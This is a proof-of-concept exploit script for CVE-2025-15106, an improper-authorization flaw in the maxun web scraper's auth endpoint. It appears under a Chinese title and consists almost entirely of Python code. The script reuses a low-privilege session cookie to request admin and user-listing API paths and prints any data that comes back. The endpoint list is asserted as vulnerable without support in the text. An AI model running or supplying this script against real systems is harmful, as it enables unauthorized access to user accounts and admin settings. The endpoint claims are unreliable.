CVE-2025-15106: getmaxun maxun 身份验证端点不当授权漏洞

# CVE-2025-15106 PoC - Improper Authorization in maxun auth endpoint # Affected: getmaxun maxun <= 0.0.28 import requests import json TARGET_URL = "http://target:3000" def exploit_cve_2025_15106(): """ Exploit improper authorization in /auth endpoint Replace TARGET_USER_SESSION with valid low-privilege session cookie """ headers = { "Cookie": "session=TARGET_USER_SESSION", "Content-Type": "application/json" } # Target the vulnerable auth.ts router.get endpoint # This endpoint should require higher privileges but doesn't vulnerable_endpoints = [ "/api/auth/users", "/api/auth/admin/config", "/api/auth/admin/sessions", "/api/auth/users/list" ] for endpoint in vulnerable_endpoints: url = f"{TARGET_URL}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:500]}") elif response.status_code == 403: print(f"[-] Protected: {endpoint}") except Exception as e: print(f"[!] Error testing {endpoint}: {e}") if __name__ == "__main__": print("CVE-2025-15106 PoC - Testing improper authorization in maxun") exploit_cve_2025_15106()